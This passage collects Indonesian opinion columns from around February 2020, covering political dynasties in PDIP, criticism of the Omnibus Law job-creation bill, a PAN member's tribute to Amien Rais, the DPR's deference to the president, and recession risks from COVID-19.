akan berebut kursi ketua umum pada kongres partai ini nanti. Jabatan ketua umum perlu dan penting karena menyangkut posisi mereka dalam peta politik 2024. "Kalau bukan presiden dan wakil presiden, kemudian jadi menteri misalnya,” ujar Wakil Ketua Umum PD, Syarief Hasan, Rabu (19/2). Politik dinasti memang sudah dianggap lumrah. Pada Senin (17/2) kemarin, lembaga riset Nagara Institute merilis hasil penelitian terkait perpolitikan di Indonesia. Penelitian itu menyebut oligarki dan politik dinasti menjadi ancaman terbesar bagi demokrasi Indonesia. Dari hasil penelitian lembaga riset yang baru didirikan eks anggota DPR F-NasDem, Akbar Faisal, ini mengungkap 17,22% hasil pemilihan DPR RI pada Pemilu 2019 terpapar dinasti politik. Itu bermakna 99 dari 575 anggota legislatif memiliki hubungan dengan pejabat publik. Anggota NasDem menjadi yang paling banyak. Sebesar 33,90% atau 20 dari total 59 kursi F-NasDem di DPR RI memiliki hubungan dengan pejabat publik. Di bawah NasDem, ada PPP dengan 31,58%, kemudian Golkar 21,18%, Demokrat 18,52%, PAN 18,18%, Gerindra 16,67%, dan PDIP 13,28%. PDIP nyatanya juga menjadi sarang politik dinasti. Ketika Mega mengarahkan satu telunjuknya ke politisi lain, maka ada empat jari yang mengarah padanya. “Saya enggak pernah. Anak saya, kamu jadilah sesuai dengan apa yang kamu jalankan," sergah Mega. Kandang banteng adalah tempat anak-anak dan keluarga besar Sukarno belajar sekaligus meniti karier politik. Puan Maharani salah satunya saja. Ia adalah politisi didikan langsung Sang Bunda. Aneh, Mega membantah itu. "Ada orang yang ngomong Mbak Puan jadi ketua DPR, itu saya yang angkat-angkat. Mana mungkin, memang (perolehan) suarannya gede. Enggak ada yang bisa nahan. Begitu. Janganlah. Yang namanya sudah. Mabok saya dengarnya," imbuh Presiden kelima RI itu. Jauh sebelum menambang suara paling banyak, Puan tentu saja tidak punya pengalaman sedikit pun di dunia politik, sebelum ia masuk kandang Banteng. Perempuan kelahiran Jakarta, 6 September 1973 ini tentu dihitung dan menjadi ngetop karena dia adalah putri Megawati. Boleh jadi, lantaran dia putri Mega pula, maka Jokowi menunjuknya sebagai Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan pada Kabinet Kerja (2014–2019). Banyak pihak menilai kinerja Puan sebagai Menko mengecewakan. Di PDIP cukup banyak kader-kader lebih baik dari Puan, namun dia tak tergantikan. Lewat pernyataannya itu Mega seakan-akan mencoba introspeksi diri bahwa politik dinasti tak bisa dihindari. Termasuk pada dirinya sendiri. Penulis adalah Wartawan Senior

Celaka Omnibus Law Cilaka

Oleh Dimas Huda Jakarta, FNN - "Maka celakalah orang-orang yang menulis kitab dengan tangan mereka (sendiri), kemudian berkata, "Ini dari Allah," (dengan maksud) untuk menjualnya dengan harga murah. Maka celakalah mereka, karena tulisan tangan mereka, dan celakalah mereka karena apa yang mereka perbuat."(QS Al-Baqarah 79). Ada tiga kata celaka dalam Surat Al-Baqarah itu. Kata pertama “celaka” dalam tafsir Jajalayn disebut sebagai “siksaan berat”. Sedangkan Quraish Shihab menafsirkan “kebinasaan dan siksaan”. Sementara itu kbbi.web.id, menerjemahkan arti celaka “v 1 (selalu) mendapat kesulitan, kemalangan, kesusahan, dan sebagainya; malang; sial”. Belakangan kata “celaka” menjadi buah bibir. Ya, setelah pemerintah menyerahkan Surat Presiden (Surpres) sekaligus draf dan naskah akademik Rancangan Undang-Undang (RUU) Omnibus Law Cipta Lapangan Kerja ke DPR RI. Hanya saja, “celaka” itu dilafalkan dengan “cilaka”. Kalangan aktivis dan cerdik pandai menyebut RUU Cilaka untuk draf RUU Omnibus Law Cipta Lapangan Kerja. Kata “cilaka” adalah akronim dari “cipta lapangan kerja”. Merespon itu, Presiden Joko Widodo lalu mengubahnya menjadi RUU Cipta Kerja disingkat “cika”. Saat pertama kali dicetuskan, nama yang muncul sebenarnya adalah RUU Omnibus Law Kemudahan Berusaha dan Daya Saing. Lantaran ada kesan RUU ini hanya untuk kepentingan pengusaha alias tidak pro buruh, maka nama itu ditanggalkan. Diganti. Dimunculkanlah nama “cipta lapangan kerja”. Celakanya, banyak pihak kelewat cerdas sehingga membuat akronim “cilaka”. Kalangan buruh bahkan ada menyebut “Cilaka 12”, untuk 12 alasan menolak RUU ini. Jokowi mengganti “cilaka” menjadi “cika”. Hanya saja, Menteri Koordinator Bidang Perekonomian, Airlangga Hartarto, membikin nama yang berbeda. Ia lebih suka dengan “ciptaker” kependekan dari cipta kerja. Wakil Ketua Komisi IX, Sri Rahayu, juga punya akronim yang berbeda lagi. "Disingkat cilaka enggak bagus, makanya (kata) lapangannya dihapus, jadi cipta kerja jadi ciker," ujarnya, saat menerima audensi dari perwakilan massa aksi buruh di ruang rapat Komisi IX Rabu (12/2). Sapu Jagat Seperti yang sudah terjadi, RUU Cilaka alias Cika alias Ciker alias Ciptaker ini kini sudah sampai ke Senayan. Para buruh menolak dan menggelar aksi demonstrasi. Mereka menilai RUU ini sarat kepentingan pengusaha. Bakal UU “sapu jagat” ini memang penuh kontroversi lantaran melebur sejumlah perundang-undangan dalam satu keranjang. Tujuannya bagus, meringkas berbagai macam peraturan yang selama ini dinilai menghambat investasi. Akan tetapi, sejak diwacanakan Jokowi, penyusunan RUU ini sangat tertutup. Tak seperti lazimnya sebuah RUU, naskah akademiknya tidak bisa diakses. Masyarakat pun buta tentang apa saja yang bakal diatur dalam RUU itu. Padahal, masukan dari para pemangku kepentingan sangat vital dalam penyusunan sebuah RUU. Dalam sejarah penyusunan perundang-undangan, baru pada rezim pemerintahan sekarang sebuah RUU dikerjakan secara kilat, tak melibatkan masyarakat, dan sulit diakses. Sebut saja penyusunan RUU KPK yang tak mengajak KPK dan ujung-ujungnya membuat lembaga antirasuah itu kehilangan taji. Melempem. Demikian halnya RUU Cilaka alias Cika alias Ciker alias Ciptaker. Dalam urusan ketenagakerjaan, RUU ini justru banyak memangkas hak tenaga kerja. Salah satunya adalah ketentuan mengenai permohonan PHK yang harus diajukan tertulis kepada lembaga penyelesaian perselisihan hubungan industrial serta alasan yang menjadi dasarnya. Artinya, dengan RUU ini, pengusaha bisa memecat karyawan secara semena-mena. Wajar jika ada yang bilang RUU ini merupakan alat pemerintah untuk mendapatkan investasi asing melalui cara-cara kolonial. Substansi RUU Cilaka menyerupai watak pemerintah kolonial Hindia Belanda. Mereka menyebut konsep sistem ketenagakerjaan dalam RUU mirip aturan Koeli Ordonantie masa kolonial Belanda. Aturan itu untuk menjamin pengusaha dapat mempekerjakan kuli perkebunan tembakau dengan upah sangat murah dan tanpa perlindungan. Para buruh juga diancam hukuman kerja paksa sementara pengusaha yang melanggar aturan hanya dikenakan sanksi denda ringan. Lebih jauh lagi bahkan ada yang bilang Omnibus Law Cilaka mengembalikan politik pertanahan nasional ke zaman kolonial karena semangatnya sama dengan ketentuan dalam Agrarische Wet 1870. Kedua aturan tersebut sama-sama berambisi untuk mempermudah pembukaan lahan sebanyak-banyaknya untuk investasi asing dengan merampas hak atas tanah dan ruang kelola masyarakat adat dan lokal. Formalisme hukum yang kuat dalam RUU menghidupkan kembali semangat domein verklaring khas aturan kolonial. Masyarakat kehilangan hak partisipasi dan jalur upaya hukum untuk mempertahankan tanah yang mereka kuasai. Terlebih, guna memuluskan RUU Cilaka, Presiden Joko Widodo meminta kepada Kejaksaan, kepolisian dan Badan Intelijen Negara atau BIN untuk mendukung dan mengantisipasi ancaman aturan ini. Lagi-lagi, penggunaan alat negara seperti ini menyerupai kerja kepolisian kolonial Hindia Belanda yang ditugaskan memata-matai, menangkap, dan menyiksa rakyat saat itu. Kejanggalan lainnya adalah direduksinya beberapa ketentuan tentang pembakaran hutan oleh korporasi. Belum lagi dengan dihapusnya pasal tentang ruang partisipasi publik untuk mengoreksi atau menguji izin lingkungan dan/atau izin usaha melalui peradilan administrasi. Selanjutnya, hak paten juga dikebiri. Hak dan kewajiban pemegang paten akan dihapus. Padahal, ketentuan ini dirancang untuk mendukung dan memberi landasan bagi alih teknologi, penyerapan, investasi, dan penyediaan lapangan kerja. Harus diingat, belum tentu pemegang paten adalah investor yang akan membuka usaha di Indonesia. Jika tidak hati-hati membahasnya, RUU ini memang bisa membikin kita “cilaka” Penulis wartawan senior.

Bangga Berakhir di Politik Bersama Ayahanda Amien Rais

Jadi, kalaulah ini adalah kongres yang terakhir buat ayahanda Amien Rais, maka saya berbangga ada bersamanya. Saya juga bangga ada dalam sejarah perjalanan PAN, dimana kali terakhir saya ikut membela pikiran-pikiran seorang profesor ilmu politik yang saleh. Bapak reformasi, sosok manusia yang selama lima puluh tahun, tak pernah putus melakukan puasa Daud dan qiamul lail. By Asnawi Arbain Jakarta, FNN - Saya tidak merasa takut, ciut atau kecewa atas hasil kongres Parta Amanat Nasional (PAN) yang ke -5 ini. Dimana, kandidat yang saya dan ayahanda Amien Rais dukung Mulfachri Harahap kalah. Saya pun tidak pernah takut kehilangan jabatan apapun di partai ini sebagai konsekuensi atas dukungan politik yang saya berikan. Saya pulang dari kongres di Kendari Sulawesi Tenggara ini dengan kepala tegak. Dada saya juga tegak membusung. Ini kongres yang berarti buat saya. Meski di belakangnnya, ada begitu banyak cerita dan peristiwa mengenaskan. Khususnya di media dan netizen. Menyisahkan preseden buruk tentang kongres PAN. Sepertinya inilahg kongres terburuk dan terburuk dalam sejarah PAN. Saya jarang menemukan, satupun tanggapan positif tentang kongres PAN di kota Kendari Sulawesi Tenggara ini. Rata-rata publik memberikan pandangan yang negatif. Baik terhadap PAN, maupun hasil kongres. Silahkan baca semua komentar netizen di kolom pemberitaan media. Namun demikian, inilah kongres yang juga membanggakan buat saya. Dalam hati kecil saya katakan, “jika Kongres PAN kali ini adalah kongres terakhir buat ayahanda Amien Rais, maka inilah yang terakhir saya ikut pembela pikiran-pikiran pak Amien tentang politik di tubuh PAN. Saya bangga, karena tidak menjadi bagian dari pengkhianatan terhadap begitu banyak jasa-jasanya ayahanda Amien Rais terhadap partai ini. Suka atau tidak suka. Senangh atau tidak senang. Harus dicatat, bahwa dalam sejarah lahirnya PAN, tidak lepas dari ijtihad politik Muhammadiyah. Bahwa Amien Rais, adalah termasuk salah satu tokoh sentral dalam ijtihad politik Muhammadiyah itu. Jika saat ini PAN makin jelas keluar dari khittah perjuangannya, maka bukan tidak mungkin, sebagai pemegang saham pendiri, Muhammadiyah akan semakin menjauh dari PAN. Almarhum AM Fatwa pernah bilang, kalau PAN itu sebenarnya dilahirkan dari Tanwir Muhammadiyah di Semarang bulan Mei tahun 1998. Ketika itu kata Fatwa, Amien Rais yang masih menjabat sebagai Ketua Umum PP Muhammadiyah, berunding bersamanya. Amin Rais menginginkan agar Ahmad Syafi'i Ma'arif yang ditunjuk sebagai Ketua Umum PAN yang pertama. Bukan itu saja. Pada penutupan Sidang Tanwir Muhammadiyah, Amien mengumumkan dalam pidato penutupan bahwa Buya—panggilan untuk Ahmad Syafi’I Ma’arif akan menjadi Ketua Mmum PAN. Namun Syafii Ma'arif besoknya melakukan konferensi pers, dan menyatakan bahwa Amien Rais tetap yang akan memimpin partai. Begitulah cerita tentang PAN awal-awalnya. Dengan jasa ayahanda Amien Rais yang begitu besar kepada PAN. Sehingga jika ini adalah Kongres PAN yang terakhir buat ayahanda, maka saya bangga sekali, mengakhiri masa-masa berpolitik dengan seorang politisi yang saleh, dan seorang cendikiawan yang progresif. Saya juga bangga tidak menjadi pengkhianat yang mengkhianati jasa-jasa baiknya ayahanda di partai ini. Kita tak tahu umur seseorang itu sampai kapan. Demikian pula dengan ayahanda Amien Rais, di usianya yang sudah senja itu. Namun masih saja tetap konsisten menjaga marwah PAN. Selali memberikan spirit qur’ani pada partai. Memberikan giroh spiritualitas pada partai yang kita cintai ini. Jadi, kalaulah ini adalah kongres yang terakhir buat ayahanda Amien Rais, maka saya berbangga ada bersamanya. Saya juga bangga ada dalam sejarah PAN, dimana, itu kali terakhir saya ikut membela pikiran-pikiran seorang profesor ilmu politik yang saleh. Bapak reformasi, sosok yang selama lima puluh tahun, tak pernah putus melakukan puasa Daud dan qiamul lail. Bagi saya, ayahnda Amien Rais adalah sosok pemberani. Sosok yang saya kenal, dikala rezim militer Soeharto masih berkuasa, tak satupun yang berani berhadap-hadapan dengan penguasa. Namun sosok Amien rais yang genius dan saleh, berani bicara lantang tentang suksesi kepemimpinan nasional di era pertengahan tahun 1990-an. Ia tidak memilih jalan kompromi pada penguasa yang zalim. Inilah kongres PAN yang indah bersama ayahanda Amien Rais. Meski seperti dalam abad yang masih penuh dengan kegelapan. Tak ada gagasan yang lahir dari dalam kongres. Yang ada hanyalah arogansi dan syahwat untuk berkuasa yang menggebu-gebu. Walaupun demikian, saya bangga. Sebab dalam kemelut yang demikian, ayahanda Amien Rais tetap ada dengan pikiran dan perspektifnya. Lebih dari itu, saya juga bangga bersama Amien Rais di usia senjanya. Penulis adalah Ketua DPW PAN Kalimantan Utara

Ketika DPR Menjadi Kantor Cabang Presiden

By Kisman Latumakulita Jakarta FNN – “Untukmu yang duduk sambil diskusi. Untuk yang biasa bersafari. Di sana, di gedung DPR. Wakil rakyat kumpulan orang hebat. Bukan kumpulan teman-teman dekat. Apalagi sanak famili. Di hati dan lidahmi kami berharap. Suara kami tolong dengar lalu sampaikan. Jangan ragu, jangan takut karang menghadang. Bicaralah yang lantang, jangan hanya diam”. “Di kantong safarimu kami titipkan. Masa depan kami dan negeri ini. Dari Sabang sampai Merauke. Saudara dipilih, bukan dilotre. Meski kami kenal siapa saudara. Kami tak sudi memilih para juara. Juara diam, juara he eh, juara ha ha ha. Wakil rakyat seharusnya merakyat. Jangan tidur waktu siding soal raktat. Wakil rakyat bukan paduan suara. Hanya tahu nyanyian lagi setuju”. Dua paragraf kalimat-kalimat di atas berasal dari lirik lagunya Iwan Fals. Penyanyi, yang sekaligus kritikus kepada kekuasaan Soeharto yang otoriter dan tirani. Judul lagunya “Surat Buat Wakil Rakyat”. Lagu yang diciptakan dan dinyanyikan Iwan Fals ini, direkam dan dirilis menjelang pemilihan umum tahun 1987. Lagu ini diciptakan untuk mengkritik kinerja anggota dewan yang banyak tidur saat sidang-sidang DPR. Sayangnya, lagu ini sempat dicekal pemerintah Orde Baru. Lagunya tidak boleh ditayangkan di televisi. Karena pemerintah beranggapan lagu “Surat Buat Wakil Rakyat” mengganggu stabilitas politik nasional. Selain tidur, DPR juga tidak menonjol memperjuangan kepentingan rakyat. DPR ketika itu, yang isinya 75% pendukung utama pemerintah Orde Baru (Fraksi Golkar dan Fraksi ABRI) lebih sebagai stempel pembenaran atas semua kemauan pemerintah. Apa saja kemauan rezim Soehato, hampir pasti 99% disetujui DPR. Iwan Fals, banyak menciptakan lagu, yang bertujuan mengkritik kebijakan pemerintah yang menyengsarakan rakyat, namun memanjakan pengusaha atau orang kaya. Selain Iwan Fals, kalangan sastrawan yang juga terbilang keras mengkrtik rezim Orde Baru ketika itu adalah W.S. Rendra. Penyair dengan julukan “Burung Merak” ini mengkritik permerintah melalui syair-syair sajaknya. Entah karena kritikan dari Iwan Fals dan W.S. Rendra atau bukan, yang pasti setelah Pemilu tahun 1992, anggota DPR yang masuk ke senayan, banyak tokoh-tokoh yang kritis kepada pemerintahan Soehato. Malah anggota DPR yang galak-galak itu bukan saja dari partai non pemerintah, seperti PDI dan PPP. Namun ada juga dari Fraksi Golkar dan ABRI yang galak-galak. Dari PPP ada singa sekalas Hj. Aisyah Amini, H. Ismail Hasan Metarium, H. Dja’far Sidiq, H. Imam Churmain, H. Muhammad Sulaiman dan Hamza Haz. Sedangkan Dari PDI, ada macan seperti Hj. Fatimah Ahmad, H. Ipik Asmasubarata, H. Yahya Nasution, Aberson Marle Sihaloho dan Sabam Sirait. Hamza Haz, Yahya Nasution dan Aberson Marle Sihaloho terkenal sebagai "trio pakarnya Anggaran Pendapatan dan Belanja Negara (APBN)". Menteri Keuangan J.B. Sumarlin dan Mar’ie Muhammad sering kewalahan di sidang-sidang komisi APBN jika menghadapi trio anggota dewan ini. Terkadang asumsi-asumsi APBN yang bakal diajukan pemerintah, dua tiga bulan sebelumnya sudah bisa diprediksi oleh trio anggota DPR ini. Hasilnya, 85%-90% sama dengan yang diajukan pemerintah. Sebagai wartawan di bidang ekonomi, saya dan sesama teman wartawan, banyak mendapat informasi awal mengenai rencana asumsi APBN dari trio anggota dewan ini. Selain itu, kami juga mendapat informasi mengenai asumsi APBN dari Muhba Kahar Muang, Idra Bambang Oetoyo dan Dwie Riawenny Nasution dari Fraksi Golkar. Dari kubu pendukung pemerintah, muncul para anggota DPR yang tidak kalah kritisnya. Dari Fraksi Golkar, ada Tadjudin Noer Said, Marzuki Darusman, Mubha Kahar Muang, Anang Adenensi, Indra Bambang Oetoyo, Iskandar Madji, Abdurrahman Rangkuti dan Umbu Mehang Kunda. Dari Fraksi ABRI, tampil singa perempuan yang galak kepada pemerintah, Brigjen Polisi Rukmini. Ada juga Mayjen TNI Syamsudin. Meskipun menjadi anggota DPR yang ditunjuk oleh Mabes ABRI Cilangkap. Namun mereka menjadi anggota dewan yang bermutu dan berkelas. Mereka lebih memilih membela kepentingan rakyat. Akibnatnya, mereka sering berbenturan dengan para menterinya Soeharto. Mereka top, top top markotop. Suatu waktu Kasospol ABRI, Letjen Harsudiono Hartas bercerita tentang cepanye dia mengingatkan Brigjen Rukmini dan Mayjen Syamsudin. Banyak menteri anggota kabinet Soerharto meminta tolong agar Kasospol ABRI bisa meredam atau menertibkan Rukmini dan Syamsudin. Kata Hartas—panggilan akrab Kasospol ABRI, “Itu Rukmini dan Syamsudin kalau diingatkan, jawabnya sih enak didengar. Jawabnya siap,siap dan iya, iya. Namun begitu balik ke DPR, kambuh lagi mereka”. Pemerintah Orde Baru memang sangat kuat dan dominan. Dengan mesin politik utama ABRI dan Golkar, pemerintah bisa berbuat apa saja jika mau. Contoh paling nyata adalah Waduk Kedung Ombo. Masyarakat satu Kecamatan bersama perangkat Desanya, semua diangkut keluar dari Kedung Ombo. Namun warna perbedaan perdebatan di DPR terlihat sangat berbobot dan berkelas. Sebelum sampai pada persetujuan di sidang Paripurna, perdebatannya sangat bermutu dan argumentatif. Bagi yang menonton sidang-sidang di komisi DPR, banyak informasi penting dan bermutu yang bisa diperoleh. Yang tidak bisa dilakukan DPR di kekuasaan eranya Orde Baru Cuma satu, “Penggunaan Hak Interpelasi”. Penggunaan hak DPR yang satu ini menjadi barang haram ketika itu. Namun tidak adanya penggunaan “Hak Ingterpelasi” bukanlah menjadi penghalang bagi lahirnya perdebatan yang bermutu dan berkelas di sidang-sidang komisi DPR. Enak bangat untuk didengar dan ditonton. Dewan Produk Reformasi DPR di era Orde baru tidak dapat menggunakan “Hak Interpelasi”, tentu saja dapat dipahami dan dimengerti dengan sangat jelas. Semuanya terang-berderang. Tidak ada yang abu-abu. DPR Hanya tukang stempel atas segala kebijakan dan kemauan rezim Orde Baru. Tidak lain. Hanya itu. Keberadaan PPP dan PDI di DPR tidak mempunyai kekuatan untuk melawan maunya rezim Soeharto. Paling hanya bisanya walk out dari sidang sebagai bentuk protes dan penolakan. Hanya itu yang bisa dan sering dilakukan PPP dan PDI. Namun begitu, keluarnya PPP dan PDI dari ruang sidang, sama-sekali tidak merubah keputusan dewan. Karena prosentase PPP dan PDI paling banyak hanya 30%. DPR periode 2014-2019 sekarang ini adalah DPR yang keempat sejak reformasi. DPR yang lahir dari produk demokrasi yang sangat bebas. Namun mereka juga menjadi DPR yang paling lemah kepada pemerintah di era reformasi. DPR yang lebih memilih membela maunya pemerintah daripada membela rakyat. Lihat saja, masyarakat, dosen, mahasiswa dan siswa STM berdemonstrasi berhari-hari menolak revisi undang-undang KPK. Namun semua itu hanya dianggap sebagi pepesan kosong oleh DPR. Hasilnya, tok tok tok, revisi undang-undang KPK tetap jalan dan disahkan. Begitu juga menyampaikan pengantar Nota APBN 2020 di DPR, Presiden Jokowi minta izin untuk memindahkan ibukota negara ke luar pulau Jawa. Tanpa lebih dulu melakukan perubahan atas undang-undang ibukota negara, DPR menyetujui keinginan pemerintah untuk memindahkan ibukota negara ke Pulau Kalimantan. Belakangan ketika skandal korupsi Jiwasraya meledak, rakyat meminta DPR agar membentuk Pansus Jiwasraya. Namun DPR sepertinya tidak mau membentuk Pansus Jiwasraya untuk menyelidiki skandal yang merugikan BUMN asuransi Rp 17 triliun itu. Kabarnya, tidak dibentuknya Pansus Jiwasraya itu atas permintaan dan tekanan dari Istana Negara Maimun. Setelah Jiwasraya, kini meledak lagi skandal korupsi di PT Asabri. Kerugian di Asabri diperkirakan mencapai Rp 21 triliun. Pelakunya masih hampir sama dengan mereka yang membobol Jiwasraya. Namun, lagi-lagi DPR tidak juga bergeming untuk segera membentuk Pansus Jiwasraya maupun Pansus Asabri. Atau Pansus Jiwasraya dan Asabri. Rupanya untuk DPR periode sekarang, skandal korupsi dengan nilai hampir Rp 40 triliun, bukanlah sesuatu yang penting dan mendesak untuk dibahas dan diselidiki oleh pansus DPR. Tidak terlalu penting, atau karena angkanya tidak besar-besar amat. Mungkin saja kalo angkanya di atas Rp 100 triliun pun belum juga perlu untuk dibentuk pansus DPR. Belom lama ini pemerintah mengajukan Rancangan Undang-Undang (RUU) Cipta Lapangan Kerja. Dari draf PDF yang beredar di media sosial, RUU Omnibus Law ini akan merampok sejumlah kewenangan Pemerintah Daerah. Bahkan atas nama undang-undang ini, para Gubernur, Bupati dan Walikota yang dipilih langsung oleh rakyat, bisa saja dipecat oleh pemerintah pusat. Bukan itu saja. Eksekutif juga dapat mengambil alih sejumlah kewenangan Legislative dan Yudikatif hanya dengan memakai Peraturan Pemerintah (PP) berdasarkan mandat yang diberikan oleh undang-undang Omnibus Law. Atas nama penciptaan lapangan kerja, Presiden dapat saja menumpuk sejumlah kewenangan Pemerintah Daerah, Legislatif dan Yudikatif di tangannya. Meskipun RUU ini bakal menampilkan wajah dan topeng baru kekuasaan yang sentralistik dan otoritarian. Namun kemungkinan besar RUU Omnibus Law bakal disetujui oleh DPR. Ya, memang sangat wajar dan bijak kalau RUU ini disetujui DPR. Apalagi DPR dalam posisi barunya sebagai Kantor Cabang Presiden dari Istana Negara Maimun. Selamat memasuki kekuasaan baru yang otoriter dan tirani. Penulis adalah Wartawan Senior

Resesi Ekonomi Dunia di Depan Pintu

By Dimas Huda Jakarta, FNN - Resesi dunia sudah di ambang pintu. Tinggal ketuk pintu, tok tok tok. Maka terjadilah. Serangan virus korona atau Covid-19 mempercepat dunia menuju kondisi buruk itu. Sejumlah negara, termasuk Indonesia, sudah merasakan gejala tersebut. Infeksi korona telah membuat ekonomi dunia meriang. Penelitian yang dipublikasikan MIT Sloan School of Management dan State Street Associates, menyatakan potensi terjadinya resesi dunia pada paruh pertama tahun 2020 prognosanya mencapai 70%. Resesi sendiri adalah merupakan penurunan aktivitas ekonomi yang sangat signifikan yang berlangsung selama lebih dari beberapa bulan. Suatu negara dapat dikatakan mengalami resesi bila dalam dua triwulan berturut-turut Produk Domestik Bruto (PDB) tumbuh negatif. Penelitian ini menggunakan pendekatan pengukuran jarak mahalanobis, untuk menentukan bagaimana kondisi pasar saat ini dibandingkan dengan sebelumnya. Dengan menggunakan prinsip ini, peneliti menganalisa empat faktor pasar. Yakni produksi industri, upah nonpertanian, pengembalian pasar saham, dan kurva imbal hasil. Analisis dilakukan setiap bulan. Mereka mengukur bagaimana hubungan antara empat faktor tersebut dengan sejarah masa lampau. "Melihat data tahun 1916 (resesi pasca Perang Dunia I) para peneliti mengatakan bahwa indeks dari keempat indikator resesi naik dari sebelumnya," tulis CNBC International, Jumat (7/2). "Dari perhitungan yang dilakukan, akhirnya mereka mendapatkan hasil, indeks resesi mencapai 70% dalam enam bulan ke depan." Hantu Resesi Penelitian itu tidak sedang mengada-ada. Serangan virus korona atau Covid-19 sejauh ini belum ada tanda-tanda mereda. Sampai Kamis (20/2), angka kematian akibat virus ini mencapai 2.120 orang. Sedangkan jumlah orang yang terinfeksi mencapai 75.291 orang. Tak hanya membunuh orang. Virus ini juga menginfeksi perekonomian dunia. Mulanya serangan di China. Ekonomi negeri itu lumpuh. Kini sudah merembet ke banyak negara. Singapura, Hongkong, Jepang, dan Jerman sudah antre menuju resesi. Covid-19 juga menginfeksi ekonomi Indonesia. Angka pasti berapa besar pengaruh serangan korona terhadap ekonomi dunia memang belum diketahui. Hanya saja, meriangnya sudah sangat terasa. Dana Moneter Internasional (International Monetary Fund/IMF) menyatakan virus korona mungkin akan memangkas proyeksi pertumbuhan ekonomi global di tahun ini. "Mungkin ada pemotongan yang kami masih harapkan akan berada dalam persentase 0,1-0,2," kata Direktur Pelaksana IMF, Kristalina Georgieva, seperti dikutip AFP. Hasil riset S&P PDB China akan terpangkas hingga 1,2%. Kemudian, Reuters melakukan jajak pendapat terhadap 40 ekonom yang hasilnya pertumbuhan ekonomi China kuartal I-2019 diperkirakan hanya sebesar 4,5%. Jauh melambat dibandingkan kuartal sebelumnya yang 6%. Untuk pertumbuhan ekonomi sepanjang 2020, proyeksinya adalah 5,5%. Juga jauh melambat dibandingkan realisasi 2019 yang sebesar 6,1%. Daya Tular Singapura memangkas proyeksi pertumbuhan ekonomi tahun ini. Negeri titik dalam peta Indonesia ini memprediksi pertumbuhan PDB tahun 2020 ada di kisaran -0,5%-1,5%. Padahal sebelumnya, pemerintah memproyeksikan, ekonomi Negeri Singa ini ada di kisaran 0,5%-2,5%. China adalah shohib berat Singapura. Pada 2018, ekspor Singapura ke China mencapai US$50,4 miliar atau menyumbang 13% dari total ekspor. Wisatawan dari China berkontribusi sekitar 20% dari total wisatawan ke Singapura. Jerman juga begitu. Ekonomi Negeri Panser tiba-tiba ngerem. Stagnan, alias tidak tumbuh. Pada tahun lalu, Jerman sudah nyaris mengalami resesi akibat perang dagang AS dengan China. China merupakan pasar penting produk Jerman. Pada tahun 2018, nilai ekspor Jerman ke China US$109,9 miliar atau menyumbang 7,1% dari total ekspor. Melambatnya ekonomi China menjadi pukulan bagi Jerman. Selanjutnya Jepang. Perekonomian Saudara Tua berkontraksi tajam pada kuartal IV-2019. Data dari Cabinet Office menunjukkan PBD kuartal IV-2019 berkontraksi 1,6% quarter-on-quarter, menjadi yang terdalam sejak kuartal II-2014. Pemerintah Negeri Matahari Terbit sebelumnya sudah memperingatkan jika PDB pada periode Oktober-Desember 2019 berisiko terkontraksi akibat kenaikan pajak penjualan, adanya angin topan, serta perang dagang AS dengan China. Kini tantangan yang dihadapi lebih besar lagi: wabah virus korona. Jika PDB Jepang kembali berkontraksi di kuartal I-2020, maka Jepang akan mengalami resesi. Dampak epidemi bisa merusak output dan pariwisata Jepang, yang pada gilirannya merusak pertumbuhan pada kuartal saat ini. “Virus ini terutama akan menekan pariwisata yang masuk dan ekspor, tetapi juga dapat membebani konsumsi domestik cukup banyak," kata Taro Saito, rekan peneliti eksekutif di NLI Research Institute. "Jika epidemi ini tidak bisa ditangani hingga pada saat Olimpiade Tokyo, kerugian ekonomi (yang dibawanya) akan sangat besar," tambahnya, sebagaimana dilaporkan Reuters, Senin lalu. Hong Kong sama saja. Mutiara dari Timur mengalami tekanan yang dalam akibat wabah virus korona dan protes prodemokrasi yang berkepanjangan pada tahun lalu. Berdasarkan laporan KPMG LLP, Hong Kong diperkirakan mencatatkan defisit fiskal bujet senilai HK$47,7 miliar pada tahun fiskal 2019-2020. Angka tersebut merupakan defisit pertama kalinya sejak 15 tahun terakhir. Pemerintah Hong Kong akan mengumumkan bujet fiskalnya pada 26 Februari 2020. Sekretaris Keuangan Hong Kong sempat menyebutkan negaranya kemungkinan menghadapi kejutan layaknya tsunami dan bakal mencatatkan defisit bujet pada tahun fiskal mendatang. Sekadar mengingatkan bahwa angka-angka yang kini dikeluarkan negara-negara itu adalah angka sebelum terjadinya serangan virus korona. Wabah virus korona semakin kuat terjadi sesudah Hari Raya Imlek. Dampak penyebaran virus Covid-19 terhadap ekonomi akan terlihat pada data sampai Februari 2020. Data itu baru bisa disajikan Maret mendatang. Menginfeksi Indonesia China adalah perekonomian terbesar kedua di dunia. Perlambatan di sana akan mempengaruhi seluruh Negara, termasuk Indonesia. Apalagi China adalah negara tujuan ekspor utama Indonesia. Data BPS menyebut 30% lebih China mempengaruhi ekspor-impor Indonesia. China juga menyumbang turis di Indonesia 13%. Ini adalah turis kedua terbesar setelah Malaysia. Menteri Keuangan, Sri Mulyani, menjelaskan setiap penurunan pertumbuhan ekonomi China sebesar 1% maka akan berdampak kepada Indonesia dari 0,3-0,6%. Sedangkan Singapura adalah barometer pemerintah dalam memproyeksikan pertumbuhan ekonomi. Dan kini, Singapura diprediksi akan jatuh ke jurang resesi. Kemungkinan ini sangat besar, mengingat Negeri Singa itu, memiliki korban korona terbesar kedua setelah China. "Saya tidak bisa mengatakan bahwa Singapura akan resesi atau tidak. Bisa saja, tetapi yang jelas perekonomian Singapura akan terpukul," ungkap Perdana Menteri Singapura, Lee Hsien Liong, seperti diberitakan Reuters. "Ini akan kami jadikan barometer kepada kita untuk melihat apa yang akan terjadi," sambut Menteri Sri. Virus korona memang sudah “menginfeksi” perekonomian Indonesia. Demam sudah mulai terasa pada Januari 2020. Penerimaan perpajakan hingga kepabeanan dan cukai melambah begitu masuk tahun ini. Neraca perdagangan mengalami penurunan. Menteri Keuangan Sri Mulyani memaparkan penerimaan pajak hanya Rp84,7 triliun pada Januari 2020. Angka ini lebih rendah dibanding Januari tahun lalu yang sebesar Rp90 triliun. Penerimaan perpajakan itu baru setara 4,5% dari target sebesar Rp1.865,7 triliun yang ditetapkan pemerintah Anggaran Pendapatan dan Belanja Negara (APBN) 2020. Penerimaan pajak dari sektor perdagangan sebesar Rp22,18 triliun atau hanya tumbuh tipis sebesar 2,6%. Sektor pertambangan minus hingga 27,3%. Transportasi dan pergudangan minus 5,6%. Penerimaan pajak dari sektor pertambangan sebesar 